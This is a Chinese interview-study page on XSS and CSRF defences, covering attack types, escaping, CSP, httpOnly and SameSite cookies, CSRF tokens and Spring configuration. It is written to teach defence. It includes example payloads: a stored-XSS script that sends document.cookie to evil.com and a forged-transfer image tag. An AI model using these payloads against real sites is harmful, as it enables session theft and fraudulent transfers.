高 进阶
XSS与CSRF防御#
一句话答案#
XSS 是攻击者注入恶意脚本到页面中窃取用户数据(防御:输出转义 + CSP + httpOnly Cookie),CSRF 是攻击者诱导用户浏览器发送伪造请求(防御:CSRF Token + SameSite Cookie + Referer 校验)。
核心要点
XSS(Cross-Site Scripting)#
攻击原理:
<!-- 存储型 XSS:恶意脚本存入数据库,其他用户访问时执行 -->
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
<!-- 反射型 XSS:恶意脚本在 URL 参数中,服务端直接输出 -->
https://site.com/search?q=<script>alert(1)</script>
<!-- DOM 型 XSS:前端 JS 直接操作 DOM 时注入 -->
document.innerHTML = location.hash.substring(1); // hash 含恶意脚本htmlXSS 防御:
| 层级 | 措施 | 效果 |
|---|---|---|
| 输出转义 | HTML 实体编码 < → < | 根本防御 |
| CSP | Content-Security-Policy 限制脚本来源 | 深度防御 |
| httpOnly | Cookie 设 httpOnly,JS 无法读取 | 防 Cookie 窃取 |
| 输入过滤 | 过滤 <script> 等标签(补充) | 不完全可靠 |
// Spring Boot 输出转义
@GetMapping("/search")
public String search(@RequestParam String q) {
return HtmlUtils.htmlEscape(q); // <script> → <script>
}javaCSRF(Cross-Site Request Forgery)#
攻击原理:
<!-- 攻击者页面(evil.com)中嵌入 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<!-- 用户访问 evil.com 时,浏览器自动携带 bank.com 的 Cookie 发送请求 -->
<!-- 银行收到的是合法 Cookie + 合法请求,无法区分是用户操作还是伪造 -->htmlCSRF 防御:
| 措施 | 原理 |
|---|---|
| CSRF Token | 表单中嵌入随机 Token,攻击者无法获取 |
| SameSite Cookie | Cookie 不跨站发送 |
| Referer/Origin 校验 | 检查请求来源域名 |
| 二次确认 | 敏感操作要求输入验证码/密码 |
// Spring Security CSRF 配置
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
// 前端请求时带 X-XSRF-TOKEN headerjavaXSS vs CSRF 对比#
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 窃取用户数据/执行操作 | 伪造用户操作 |
| 攻击方式 | 注入恶意脚本到目标站 | 诱导用户访问攻击者页面 |
| 利用什么 | 用户对网站的信任 | 网站对浏览器的信任 |
| 是否需要登录 | 不一定 | 需要(利用用户 Cookie) |
| 防御核心 | 输出转义 + CSP | CSRF Token + SameSite |
为什么 JWT 天然防 CSRF?#
CSRF 的前提:浏览器自动发送 Cookie
JWT 存在 localStorage/Header 中:
→ 浏览器不会自动发送
→ 攻击者伪造的请求没有 Authorization Header
→ CSRF 失效
但 JWT 容易被 XSS 窃取(localStorage 可被 JS 访问)
→ 所以 JWT 更需要防 XSS(CSP + 输入校验)plaintext面试回答(2分钟版)
XSS 是攻击者向页面注入恶意 JavaScript,窃取用户 Cookie 或执行操作。分三种:存储型(恶意脚本存 DB 影响所有访问者)、反射型(URL 参数中的脚本被服务端直接输出)、DOM 型(前端 JS 不安全地操作 DOM)。防御核心是输出转义——所有动态内容渲染到 HTML 前做实体编码,配合 CSP 限制脚本来源和 httpOnly 保护 Cookie。CSRF 是攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性向目标站点发伪造请求。防御核心是 CSRF Token(每个表单带一个服务端生成的随机 Token,攻击者无法获取)+ SameSite Cookie 属性(Strict/Lax 限制跨站携带)。JWT 方案天然防 CSRF 因为 Token 不在 Cookie 中不会自动发送,但更容易被 XSS 窃取。两者关系:防住 XSS 间接也防了 CSRF Token 被偷。
追问与易错
追问方向:
- “存储型 XSS 怎么防?”→ 入库前转义 + 出库渲染时转义(双重保险)+ CSP
- “CSRF Token 存在哪?”→ 服务端 Session 或 Cookie 中(Double Submit Cookie 模式)
- “SameSite=Lax 和 Strict 区别?”→ Lax 允许 GET 导航携带(链接跳转),Strict 完全禁止
- “JWT 怎么防 XSS?”→ Token 存 httpOnly Cookie(而非 localStorage) + CSP + 输入校验
易错点:
- ❌ “输入过滤就能防 XSS”——过滤可被绕过(编码变体),必须输出转义
- ❌ “HTTPS 能防 CSRF”——CSRF 不是中间人攻击,HTTPS 无效
- ❌ “用了框架就不用管 XSS”——React/Vue 的 dangerouslySetInnerHTML / v-html 仍有风险